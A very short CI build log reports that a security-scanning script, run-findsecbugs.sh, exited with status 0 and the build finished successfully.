The command "./run-findsecbugs.sh" exited with 0.

Done. Your build exited with 0.